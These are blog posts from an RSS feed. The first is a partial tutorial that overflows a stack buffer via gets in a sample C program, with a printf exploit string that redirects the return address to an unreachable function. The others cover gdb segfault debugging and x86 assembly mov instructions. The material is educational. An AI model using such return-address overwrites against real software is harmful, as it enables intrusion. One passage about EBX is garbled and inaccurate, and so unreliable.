<p>Here is basically what our stack looks like in visual form (I based the representation on <a href="http://insecure.org/stf/smashstack.html" title="Smashing the Stack for Fun and Profit by Aleph One" target="_blank">Aleph One&#8217;s</a>):</p>
<pre class="brush: plain; gutter: false; title: The program&#039;s stack; notranslate">
bottom of  DDDDDDDDDDDDEEEE  EEEEEEEE  EEEEFFFF  FFFFFFFF  FFFFFFFF     top of
memory     89ABCDEF01234567  89ABCDEF  01234567  89ABCDEF  01234567     memory
           buffer            ebp       ret       a         b

&lt;-------   [A-16-BYTE-BUFFER][0x010101][0x010101][        ][        ]
top of                                                                  bottom of
stack                                                                   stack
</pre>
<p>So, when feeding data into the <strong>gets</strong> function, the first 16 bytes will go into our <strong>buffer</strong> on the stack.  The next 8 bytes will go into the stored base pointer.  And the next 8 bytes will go into the return pointer.  The best way to exploit this application would be to overwrite the return address to point to another location.</p>
<h2>Thinking about the exploit string</h2>
<p>We&#8217;ve counted the bytes, so we know now that we need 16 bytes + 8 bytes to fill up the buffer and ebp.  Then to run code we need an 8 byte memory address that points to the code we want to run.  So the string needs to look something like this:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
aaaaaaaaaaaaaaaaaaaaaaaaXXXXXXXX
</pre>
<p>The only problem now is we need to fill in the <strong>X&#8217;s</strong> with a memory address of some code to execute.  Because this is a sample program, there was a method called <strong>CanNeverExecute</strong> intentionally added that will never run under normal circumstances.  To demonstrate how a buffer overflow redirects program flow we&#8217;ll point the return address to this function to cause it to run.  Let&#8217;s take a look at the method to get it&#8217;s memory location.</p>
<pre class="brush: plain; gutter: false; highlight: [3]; title: CanNeverExecute&#039;s compiler-generated assembly code; notranslate">
(gdb) disas CanNeverExecute
Dump of assembler code for function CanNeverExecute:
   0x00000000004005b4 &lt;+0&gt;:	push   %rbp
   0x00000000004005b5 &lt;+1&gt;:	mov    %rsp,%rbp
   0x00000000004005b8 &lt;+4&gt;:	mov    $0x4006fc,%edi
   0x00000000004005bd &lt;+9&gt;:	callq  0x400490 &lt;puts@plt&gt;
   0x00000000004005c2 &lt;+14&gt;:	mov    $0x0,%edi
   0x00000000004005c7 &lt;+19&gt;:	callq  0x4004a0 &lt;exit@plt&gt;
End of assembler dump.
</pre>
<p>We can see that the first line of <strong>CanNeverExecute</strong> is at the memory location <strong>0x4005b4</strong>, so if we wanted to execute this method that&#8217;s the memory address we&#8217;ll need to provide to <strong>gets</strong>.</p>
<p>But how do you put a memory address into a string?  Typing the hexadecimal numbers in the string would simply treat them as their ascii representations, so something like this will <strong>not</strong> work.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
aaaaaaaaaaaaaaaaaaaaaaaa4005b4
</pre>
<h2>Placing hexademical into a string</h2>
<p>There are numerous ways to do this, but the easiest way to do this in linux is to use the <a href="http://man.he.net/man1/printf" title="printf at Hurricane Electric" target="_blank">printf</a> command from bash, which works just like it does in C.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
# printf '\x30\x31\x32\n'
012
</pre>
<p>This particular example just prints out 0, 1, and 2.  But you can use this to print anything as a string.  If you don&#8217;t believe it, try this one:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
# printf '\xaa\xab\xac\n'
</pre>
<h2>Crafting the exploit string</h2>
<p>Now that we can put hex values into a string, we&#8217;re ready to create the exploit.  If you&#8217;re anxious you may have already started typing, thinking it&#8217;s one of these:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
aaaaaaaaaaaaaaaaaaaaaaaa\x40\x05\xb4
aaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00\x40\x05\xb4
</pre>
<p>But which one is it!? Actually..</p>
<h3>They&#8217;re both wrong!</h3>
<p>Chances are if you&#8217;re reading this article you&#8217;re running on an <a href="http://en.wikipedia.org/wiki/X86" title="x86 at Wikipedia" target="_blank">x86</a> or <a href="http://en.wikipedia.org/wiki/X86-64" title="x86-64 at Wikipedia" target="_blank">x86-64</a> processor, so data is stored in memory in reverse order[<a href="#footnote-4" title="More on byte order">4</a>]!</p>
<p>This sounds confusing, but what this means is just that we need to put the memory address into the string <strong>backwards</strong> so that when the CPU pops it back off the stack it will read it <strong>forwards</strong>.  So now our exploit string becomes:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
aaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05\x40\x00\x00\x00\x00\x00
</pre>
<h2>OMG I&#8217;m an ub3r h4x0r, let&#8217;s pwn this program!</h2>
<p>Wow, you&#8217;re really excited about this, huh?  Ok, well let&#8217;s try this out and see if the exploit works.  We&#8217;ll just <a href="http://en.wikipedia.org/wiki/Pipe_(Unix)" title="Pipe at Wikipedia" target="_blank">pipe</a> the output from <strong>printf</strong> into the <strong>GetInput</strong> program to see if the return address is overwritten properly.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
# printf &quot;aaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05\x40\x00\x00\x00\x00\x00&quot; | ./GetInput 
aaaaaaaaaaaaaaaaaaaaaaaa?@
I can never execute
</pre>
<p>What do you know.. the <strong>CanNeverExecute</strong> method ran as expected and printed &#8220;I can never execute&#8221;.  So.. <strong>the exploit works!</strong>  I guess you&#8217;re an ub3r h4x0r now.</p>
<h2>Finish Line</h2>
<p>Well, you&#8217;re ub3r 1337 now, so go forth and prosper!  I&#8217;m sure you&#8217;ll see more buffer overflow articles from me soon, so be on the lookout if you&#8217;re looking to learn more.</p>
<h4>Footnotes</h4>
<p class="footnote" id="footnote-1"><strong>[1]</strong> We defined <strong>buffer</strong> as <strong>char[8]</strong>, which is 8 bytes on <em>most</em> machines when using <a href="http://en.wikipedia.org/wiki/ANSI_C" title="Wikipedia: ANSI C" target="_blank">ANSI C</a>.</p>
<p class="footnote" id="footnote-2"><strong>[2]</strong> A compiler like <strong>gcc</strong> will typically optimize your code as part of the compilation process; sometimes that optimization includes resizing buffers.  The particular quirk we see where our buffer becomes 16 bytes instead of 8 is probably due to <a href="http://en.wikipedia.org/wiki/Data_structure_alignment" title="Data Structure Alignment at Wikipedia" target="_blank">data structure alignment</a>.  By putting the data at a particular memory offset, the compiler can help your program run faster due to the way the CPU handles memory.</p>
<p class="footnote" id="footnote-3"><strong>[3]</strong> The same thing happens when you call <a href="http://pubs.opengroup.org/onlinepubs/009695399/functions/malloc.html" title="malloc at opengroup.org" target="_blank">malloc</a>: the content of the newly allocated block of memory is not initialized, remaining with indeterminate values.  If we wanted to be very careful we should be using methods like <a href="http://pubs.opengroup.org/onlinepubs/009695399/functions/bzero.html" title="bzero at opengroup.org" target="_blank">bzero</a> and <a href="http://pubs.opengroup.org/onlinepubs/009695399/functions/calloc.html" title="calloc at opengroup.org" target="_blank">calloc</a>.  Read <a href="http://www.c-for-dummies.com/lessons/initstring/" title="String Initialization at C For Dummies" target="_blank">this article</a> if you&#8217;re interested in string initialization in C.</p>
<p class="footnote" id="footnote-4"><strong>[4]</strong> The concept of endianness determines how data is stored in memory and this primarily depends on your CPU.  If you&#8217;re using a little-endian processor such as the x86 series, each byte of data is actually stored in reverse order in memory and then read by the processor in the correct order when retrieving it.  So basically if you had the string &#8220;ABCD&#8221;, this is stored in memory as &#8220;DCBA&#8221; on a typical PC.  Big-endian processors store the data in the order you would expect, so &#8220;ABCD&#8221; is stored in memory as &#8220;ABCD&#8221;.  See <a href="http://en.wikipedia.org/wiki/Endianness" title="Endianness at Wikipedia" target="_blank">Endianness</a> at Wikipedia or peruse <a href="http://www.godevtool.com/GoasmHelp/usreverse.htm" title="Understand Reverse Storage by Jeremy Gordon" target="_blank">this article</a> from Jeremy Gordon for more details.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/examining-a-buffer-overflow-in-c-and-assembly-with-gdb/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Examining the Stack to Debug Segfaults with gdb</title>
		<link>http://www.techblogistech.com/2011/08/examining-the-stack-to-debug-segfaults-with-gdb/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=examining-the-stack-to-debug-segfaults-with-gdb</link>
		<comments>http://www.techblogistech.com/2011/08/examining-the-stack-to-debug-segfaults-with-gdb/#comments</comments>
		<pubDate>Sat, 20 Aug 2011 03:43:58 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[64-bit]]></category>
		<category><![CDATA[addq]]></category>
		<category><![CDATA[as]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[assembly primer for hackers]]></category>
		<category><![CDATA[base pointer]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[ebp]]></category>
		<category><![CDATA[eip]]></category>
		<category><![CDATA[fun and profit]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[instruction pointer]]></category>
		<category><![CDATA[int]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[movl]]></category>
		<category><![CDATA[movq]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[pointer]]></category>
		<category><![CDATA[pointers]]></category>
		<category><![CDATA[popq]]></category>
		<category><![CDATA[pushq]]></category>
		<category><![CDATA[rbp]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[rip]]></category>
		<category><![CDATA[segfault]]></category>
		<category><![CDATA[segmentation fault]]></category>
		<category><![CDATA[smashing the stack]]></category>
		<category><![CDATA[stabs]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[string]]></category>
		<category><![CDATA[strings]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=565</guid>
		<description><![CDATA[Earlier, while writing my compare strings method, I made a mistake in the code and came across a segmentation fault. &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/examining-the-stack-to-debug-segfaults-with-gdb/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" rel="shadowbox[sbpost-565];player=img;"><img class="lazy alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /><noscript><img class="alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /></noscript></a>Earlier, while writing <a href="http://www.techblogistech.com/2011/08/comparing-strings-in-assembly-part-2/" title="Comparing Strings in Assembly Part 2">my compare strings method</a>, I made a mistake in the code and came across a segmentation fault.  Based on how the program executed I was pretty sure of approximately where the error was occurring, but rather than go and find the mistake I thought it would be a lot more useful to step through the program in the debugger and examine the problem that way.  By doing this I&#8217;ll make it easier for myself to debug similar (more complex) problems in the future.</p>
<p><span id="more-565"></span></p>
<h1>Segmentation Faults</h1>
<h2>What are they?</h2>
<p>Wikipedia more or less defines a segfault as &#8220;an attempt to access memory that the CPU cannot physically address&#8221;.  Typically the hardware notifies the operating system about a memory access violation, so the kernel sends a signal to the process which caused the exception.</p>
<h3>In English</h3>
<p>Your program is trying to access something in memory.  The hardware, OS, or some other component has decided that the memory you want to access does not belong to you or could be potentially harmful for you to access.  So it politely tells you that you are not allowed.</p>
<h2>How does this happen?</h2>
<p>Well, it could be that you&#8217;re just being a dick and trying to access memory that doesn&#8217;t belong to you.  Is that what you&#8217;re doing? &#8230; No? .. Ok, well then probably you just made a mistake when you were performing some memory-related operation.  For instance, perhaps you treated an integer as a pointer and passed it to a string-related operation.  Or maybe you copied 150 bytes of data into 100 byte buffer and <a href="http://insecure.org/stf/smashstack.html" title="Smashing the Stack for Fun and Profit" target="_blank">smashed the stack</a>.  Whatever the case may be, you can be certain it&#8217;s related to some sort a memory-operation; unfortunately programming involves a lot of those.</p>
<h2>Example code</h2>
<p>Instead of using the large code sample that I was working on when the problem occurred, I&#8217;ve created a shorter sample in assembly that will generate a buffer overflow.  The sample could be made even shorter, but I wanted a realistic example and I also wanted to keep the comments in the code so it&#8217;s easier to follow.</p>
<pre class="brush: plain; title: Segfault.s: this will generate a segfault when it&#039;s run; notranslate">
.data
    Str1:
        .asciz &quot;Segfault's are awesome!\n&quot;

.text
    .globl _start

    .type PrintString, @function

    _start:
        # for stepping through the debugger
        nop

        # string length is stored in rbx
        movq $25, %rbx

        # push the arguments onto the stack
        pushq %rbx
        pushq $Str1

        # print the string
        call PrintString

        # restore the stack pointer
        addq $8, %rsp

        # exit()
        jmp ExitProgram

    ######################################
    # print the string
    # @param str1
    # @param strlength
    ######################################
    PrintString:
        # save the current base pointer by pushing it onto the stack
        pushq %rbp

        # move the base pointer to the top of the stack
        movq %rsp, %rbp

        # retrieve our arguments from the stack
        movq 16(%rbp), %rcx
        movq 24(%rbp), %rdx

        # print the string
        movl $4, %eax
        movl $1, %ebx
        int $0x80

        # return
        ret

    ExitProgram:
        movl $1, %eax
        movl $0, %ebx
        int $0x80
</pre>
<h2>Running the example</h2>
<p>Here is how to run the example and what that looks like:</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
# as -gstabs -o Segfault.o Segfault.s
# ld -o Segfault Segfault.o
# ./Segfault
Segfault's are awesome!
Segmentation fault
</pre>
<h2>Stepping through with the debugger (gdb)</h2>
<h3>Digging in</h3>
<p>So clearly we have a problem in this code.  Let&#8217;s load up gdb and find out why.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">gdb ./Segfault</pre>
<h3>Setting a breakpoint</h3>
<p>Let&#8217;s make some inferences about where to set our breakpoint.  Str1 definitely prints out before the program crashes.  The program is pretty short, so why not just set our breakpoint after that line?  We&#8217;ll use <strong>list</strong> and <strong>breakpoint</strong> to do this.</p>
<pre class="brush: plain; gutter: false; title: ; notranslate">
(gdb) list PrintString
32	    # @param str1
33	    # @param strlength
34	    ######################################
35	    PrintString:
36	        # save the current base pointer by pushing it onto the stack
37	        pushq %rbp
38	
39	        # move the base pointer to the top of the stack
40	        movq %rsp, %rbp
41	
(gdb) 
42	        # retrieve our arguments from the stack
43	        movq 16(%rbp), %rcx
44	        movq 24(%rbp), %rdx
45	
46	        # print the string
47	        movl $4, %eax
48	        movl $1, %ebx
49	        int $0x80
50	
51	        # return
(gdb) break 49
Breakpoint 1 at 0x4000df: file Segfault.s, line 49.
</pre>
<h3>Find the segfault</h3>
<p>Now that we have a breakpoint just before the string is printed out, let&#8217;s run the program and find the exact line that causes the segfault.</p>
<pre class="brush: plain; gutter: false; highlight: [9,13]; title: ; notranslate">
(gdb) run
Starting program: /root/assembly/Segfault 

Breakpoint 1, PrintString () at Segfault.s:49
49	        int $0x80
(gdb) s
Segfault's are awesome!
PrintString () at Segfault.s:52
52	        ret
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
</pre>
<p>So after the breakpoint we stepped through the program twice and we can see that line 52 is causing the problem.  The <strong>ret</strong> statement is causing some problem that results in the segmentation fault.  More specifically, it looks like the instruction pointer (EIP/RIP) is being pointed to <strong>0&#215;0</strong>.</p>
<h3>Examining the stack</h3>
<p>Well, we know that when a function is called, the next instruction that should execute within the calling function is stored on the stack.  That way when the function call returns it can simply restore the memory address on the stack into the <strong>EIP</strong> register and we&#8217;re suddenly back to the position where the function was called from.  So with this theory, we know that <strong>ret</strong> basically <strong>pop</strong>s the return pointer off of the stack and into the EIP register.  Why don&#8217;t we try restarting the program and examining the stack (ESP/RSP) just before the <strong>ret</strong> instruction is run.</p>
<pre class="brush: plain; gutter: false; highlight: [12,13]; title: ; notranslate">
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/assembly/Segfault 

Breakpoint 1, PrintString () at Segfault.s:49
49	        int $0x80
(gdb) s
Segfault's are awesome!
PrintString () at Segfault.s:52
52	        ret
(gdb) x/2xg $rsp
0x7fffffffe4a0:	0x0000000000000000	0x00000000004000c3
</pre>
<p>This is a 64-bit machine, so here we are examining two 64-bit values on the stack.  We can see that the first value is <strong>0&#215;0</strong>; this is the value at the <strong>top</strong> of the stack.  The following value, <strong>0x00000000004000c3</strong> is the next value on the stack, and if we examined further we could review the full stack if we wanted to (including other frames).  For now let&#8217;s focus on <strong>0&#215;0</strong>, since that seems to be what is popped off and what&#8217;s causing our problem.</p>
<h3>Verify the stack value is being popped into EIP/RIP</h3>
<p>Let&#8217;s just demonstrate how executing the <strong>ret</strong> actually does <strong>pop</strong> that value into <strong>EIP/RIP</strong> by doing this..</p>
<pre class="brush: plain; gutter: false; highlight: [2,10]; title: ; notranslate">
(gdb) print /x $rip
$1 = 0x4000e1
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
(gdb) x/2xg $rsp
0x7fffffffe4a8:	0x00000000004000c3	0x00000000006000f0
(gdb) print /x $rip
$2 = 0x0
</pre>
<p>We can see that the <strong>RIP</strong> register clearly changes from <strong>0x4000e1</strong> to <strong>0&#215;0</strong> and that <strong>0&#215;0</strong> was removed from the stack.  Notice how <strong>0x00000000004000c3</strong> is now at the top of the stack instead of being the second value on the stack like we saw before.</p>
<h3>Looking up the memory address</h3>
<p>Based on the fact that we know <strong>0&#215;0</strong> is an invalid memory location, let&#8217;s see if this next value on the stack is valid using the <strong>disassemble</strong> command in gdb.</p>
<pre class="brush: plain; gutter: false; highlight: [8]; title: ; notranslate">
(gdb) disassemble 0x00000000004000c3
Dump of assembler code for function _start:
   0x00000000004000b0 &lt;+0&gt;:	nop
   0x00000000004000b1 &lt;+1&gt;:	mov    $0x19,%rbx
   0x00000000004000b8 &lt;+8&gt;:	push   %rbx
   0x00000000004000b9 &lt;+9&gt;:	pushq  $0x6000f0
   0x00000000004000be &lt;+14&gt;:	callq  0x4000c9 &lt;PrintString&gt;
   0x00000000004000c3 &lt;+19&gt;:	add    $0x8,%rsp
   0x00000000004000c7 &lt;+23&gt;:	jmp    0x4000e2 &lt;ExitProgram&gt;
</pre>
<p>Well, what do you know.  The highlighted line above shows that <strong>0x00000000004000c3</strong> is the correct memory location for the line right after our call to <strong>PrintString</strong>.  So when PrintString calls <strong>ret</strong>, it should actually be <strong>pop</strong>ping off <strong>0x00000000004000c3</strong> and not <strong>0&#215;0</strong>.</p>
<h3>Finding the mistake</h3>
<p>At this point we know that something has been added to the stack <strong>AFTER</strong> the return address and has not been popped back off.  Since it was added after the return address we can be pretty confident that it was added inside of the <strong>PrintString</strong> function.  Let&#8217;s take a look at the PrintString code.</p>
<pre class="brush: plain; gutter: false; highlight: [7]; title: ; notranslate">
(gdb) list PrintString
32	    # @param str1
33	    # @param strlength
34	    ######################################
35	    PrintString:
36	        # save the current base pointer by pushing it onto the stack
37	        pushq %rbp
38	
39	        # move the base pointer to the top of the stack
40	        movq %rsp, %rbp
41	
(gdb) 
42	        # retrieve our arguments from the stack
43	        movq 16(%rbp), %rcx
44	        movq 24(%rbp), %rdx
45	
46	        # print the string
47	        movl $4, %eax
48	        movl $1, %ebx
49	        int $0x80
50	
51	        # return
</pre>
<p>Sure enough, in the highlighted line above you can see where we pushed the base pointer onto the stack using <strong>pushq %rbp</strong>.  At the time the base pointer was set to <strong>0&#215;0</strong>, so that&#8217;s what we&#8217;re seeing on the stack in gdb.  Unfortunately we never popped this value back off, so it&#8217;s causing a segfault when <strong>ret</strong> is called.</p>
<h2>Fixing the code</h2>
<p>Fixing this problem is incredibly easy as it turns out.  Just <strong>pop</strong> the stored value of the RBP register back into RBP before returning from the function.  It&#8217;s a one line fix that should be placed just before the <strong>ret</strong>.  Now when ret executes it will pull the correct return address off the stack and everything will run as expected.</p>
<pre class="brush: plain; first-line: 52; highlight: [52]; title: Segfault.s: adding the pop line will fix the bug; notranslate">
popq %rbp
ret
</pre>
<h1>You&#8217;re done!</h1>
<p>Hopefully this guide helped you understand how you can examine the stack to find segfaults and other problems with your code.  The GNU debugger is a powerful tool and the more you know the easier it becomes and the faster you can get back to writing code!</p>
<p>Have fun!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.techblogistech.com/2011/08/examining-the-stack-to-debug-segfaults-with-gdb/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Data Types and Moving Data in Assembly</title>
		<link>http://www.techblogistech.com/2011/08/data-types-and-moving-data-in-assembly/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=data-types-and-moving-data-in-assembly</link>
		<comments>http://www.techblogistech.com/2011/08/data-types-and-moving-data-in-assembly/#comments</comments>
		<pubDate>Fri, 19 Aug 2011 18:02:22 +0000</pubDate>
		<dc:creator>sean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[as]]></category>
		<category><![CDATA[assembling]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[assembly primer for hackers]]></category>
		<category><![CDATA[bss]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[data types]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[df]]></category>
		<category><![CDATA[df flag]]></category>
		<category><![CDATA[gas]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[heap]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lods]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[mov]]></category>
		<category><![CDATA[movb]]></category>
		<category><![CDATA[moving]]></category>
		<category><![CDATA[movl]]></category>
		<category><![CDATA[movs]]></category>
		<category><![CDATA[movw]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[pentesting with backtrack]]></category>
		<category><![CDATA[pointer]]></category>
		<category><![CDATA[pointers]]></category>
		<category><![CDATA[registers]]></category>
		<category><![CDATA[stack]]></category>
		<category><![CDATA[stos]]></category>
		<category><![CDATA[text]]></category>
		<category><![CDATA[vivek ramachandran]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://www.techblogistech.com/?p=526</guid>
		<description><![CDATA[I&#8217;m still following the Assembly Primer for Hackers from Vivek Ramachandran of SecurityTube in preparation for Penetration Testing with BackTrack. &#8230; <span class="more-link"><a href="http://www.techblogistech.com/2011/08/data-types-and-moving-data-in-assembly/">Continue Reading</a></span>]]></description>
				<content:encoded><![CDATA[<p><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" rel="shadowbox[sbpost-526];player=img;"><img class="lazy alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /><noscript><img class="alignright size-full wp-image-460" title="Edit" src="http://www.techblogistech.com/wp-content/uploads/2011/08/kate.png" alt="Edit" width="77" height="77" /></noscript></a>I&#8217;m still following the <a title="Assembly Primer for Hackers" href="http://www.securitytube.net/groups?operation=view&amp;groupId=5" target="_blank">Assembly Primer for Hackers</a> from Vivek Ramachandran of SecurityTube in preparation for <a title="Pentesting With BackTrack" href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/">Penetration Testing with BackTrack</a>. In this review I&#8217;ll cover data types and how to move bytes, numbers, pointers and strings between labels and registers.</p>
<p><span id="more-526"></span></p>
<h1>Data Types</h1>
<p>Variables (data/labels) are defined in the <strong>.data</strong> segment of your assembly program. Here are some of the available data types you&#8217;ll commonly use.</p>
<div class="photocap"><a href="http://www.techblogistech.com/wp-content/uploads/2011/08/data-types.png" rel="shadowbox[sbpost-526];player=img;"><img class="lazy size-large wp-image-539 alignnone" style="border: 1px dotted black;" title="Data Types in Assembly" src="http://www.techblogistech.com/wp-content/plugins/jquery-image-lazy-loading/images/grey.gif" data-original="http://www.techblogistech.com/wp-content/uploads/2011/08/data-types-1024x722.png" alt="Data Types in Assembly" width="614" height="433" /><noscript><img class="size-large wp-image-539 alignnone" style="border: 1px dotted black;" title="Data Types in Assembly" src="http://www.techblogistech.com/wp-content/uploads/2011/08/data-types-1024x722.png" alt="Data Types in Assembly" width="614" height="433" /></noscript></a><br />
Data types in assembly; photo credit to <a title="Assembly Primer For Hackers (Part 5) Data Types" href="http://www.securitytube.net/video/223" target="_blank">Vivek Ramachandran</a></div>
<h2 id="mov-example">Example code</h2>
<pre class="brush: plain; title: ; notranslate">
# Demo program to show how to use Data types and MOVx instructions

.data
	HelloWorld:
		.ascii &quot;Hello World!&quot;

	ByteLocation:
		.byte 10

	Int32:
		.int 2
	Int16:
		.short 3
	Float:
		.float 10.23

	IntegerArray:
		.int 10,20,30,40,50

.bss
	.comm LargeBuffer, 10000

.text
	.globl _start

	_start:
		nop
		# Exit syscall to exit the program

		movl $1, %eax
		movl $0, %ebx
		int $0x80
</pre>
<h1>Moving numbers in assembly</h1>
<h2>Introduction to mov</h2>
<p>This is the <strong>mov</strong> family of operations. By appending <strong>b</strong>, <strong>w</strong> or <strong>l</strong> you can choose to move 8 bits, 16 bits or 32 bits of data. To demonstrate these operations, we&#8217;ll be using the <a title="Mov Example" href="#mov-example">example above</a>.</p>
<h3>Moving a byte into a register</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movb $0, %al</pre>
<p>This will move the integer 0 into the lower 8 bits of the EAX register.</p>
<h3>Moving a word into a register</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movw $10, %ax</pre>
<p>This will move the integer 10 into the lower 16 bits of the EAX register.</p>
<h3>Moving a word into a register</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movl $20, %eax</pre>
<p>This will move the integer 20 into the 32-bit EAX register.</p>
<h3>Moving a word into a label</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movw $50, Int16</pre>
<p>This will move the integer 50 into the 16-bit label <strong>Int16</strong>.</p>
<h3>Moving a label into a register</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movl Int32, %eax</pre>
<p>This will move the contents of the <strong>Int32</strong> label into the 32-bit EAX register.</p>
<h3>Moving a register into a label</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movb %al, ByteLocation</pre>
<p>This will move the contents of the 8-bit AL register into the 8-bit <strong>ByteLocation</strong> label.</p>
<h2>Accessing memory locations (using pointers)</h2>
<p>In C we have the concept of pointers. A pointer is simply a variable that points to a location in memory. Typically that memory location holds some data that is important to us and that&#8217;s why we&#8217;re keeping a pointer to it so we can access the data later. This same concept can be achieved in assembly.</p>
<h3 id="mov-label-address-to-register">Moving a label&#8217;s memory address into a register (creating a pointer)</h3>
<pre class="brush: bash; gutter: false; title: ; notranslate">movl $Int32, %eax</pre>
<p>This will move the memory location of the <strong>Int32</strong> label into the EAX register. In effect the EAX register is now a pointer to the data held by the Int32 label. Notice that we use <strong>movl</strong> because memory locations are 4 bytes. Also notice that to access the memory location of a label you prepend the <strong>$</strong> character.</p>
<h3 id="dereferencing-a-pointer">Dereferencing a pointer (accessing the contents of a memory address)</h3>
<h4 id="mov-word-into-dereferenced-location">Moving a word into a dereferenced location</h4>
<pre class="brush: bash; gutter: false; title: ; notranslate">movl $9, (%eax)</pre>
<p>This will move the integer 9 into the memory location held in EAX. In other words, if this were C, %eax would be considered a pointer and (%eax) would be the way we dereference that pointer to change the contents of the location it points to. The equivalent in C would like something like this:</p>
<pre class="brush: cpp; highlight: [4]; title: Copying 9 into a dereferenced memory location in C; notranslate">
int Int32 = 2;
int *eax;
eax = &amp;Int32;
*eax = 9;
</pre>
<p>The only difference in the C example is that we had to define <strong>eax</strong> as an int pointer before we could copy the address of Int32. In assembly we can just <a title="Moving a label's memory address into a register" href="#mov-label-address-to-register">copy the address of Int32 directly into the EAX register</a>, circumventing the need for an additional variable. But line 4 of this C example is the equivalent of the assembly example shown above.</p>
<p>So to clarify one more time, EAX does not change at all in this example; EAX still points to the same location!  However, the data at that location has changed.  So if EAX <a title="Moving a label's memory address into a register" href="#mov-label-address-to-register">contains the location of the Int32 label</a>, then Int32 now contains 9.  So it&#8217;s Int32 that has changed, not EAX.</p>
<p>Notice that we use the parentheses to access the memory location stored in the register (dereference the pointer).</p>
<h4>Moving a dereferenced value into a register</h4>
<pre class="brush: bash; gutter: false; title: ; notranslate">movl (%eax), %ebx</pre>
<p>Keeping in mind that <a title="Moving a label's memory address into a register" href="#mov-label-address-to-register">contains the location of the Int32 label</a> and that <a title="Moving a word into a dereferenced location" href="#mov-word-into-dereferenced-location">Int32 now contains 9</a>, this will move <strong>9</strong> into EBX.  In other words, the parentheses</p>
<p>In effect the EBX register is now a pointer to the data held by EAX. Notice that to access the memory location of the register we&#8217;re again enclosing the register name in parentheses.</p>
<h1>Moving strings in assembly</h1>
<p>I can imagine that reading this you might be thinking, &#8220;hey, strings are just bytes of data so why can&#8217;t I just move them using the same instructions I just learned?&#8221; And the answers to that questions is <strong>you can!</strong> The problem is that strings are oftentimes much larger. A string might be 1 byte, 5 bytes, or 100 bytes. And none of mov instructions discussed above cover anything larger than 4 bytes. So let&#8217;s discuss the string operations that are available to alleviate the pains of copying large strings of data.</p>
<p>A key difference between the standard <strong>mov</strong> operations and the string series of <strong>movs</strong>, <strong>stos</strong> and <strong>lods</strong> operations is the number of operands. With mov, you specify the source and destination via 2 operands. However, with the movs instructions, the source and destination addresses are placed into the ESI and EDI registers respectively. And with stos and lods, the operations interact directly with the EAX register. This will become more clear with some examples.</p>
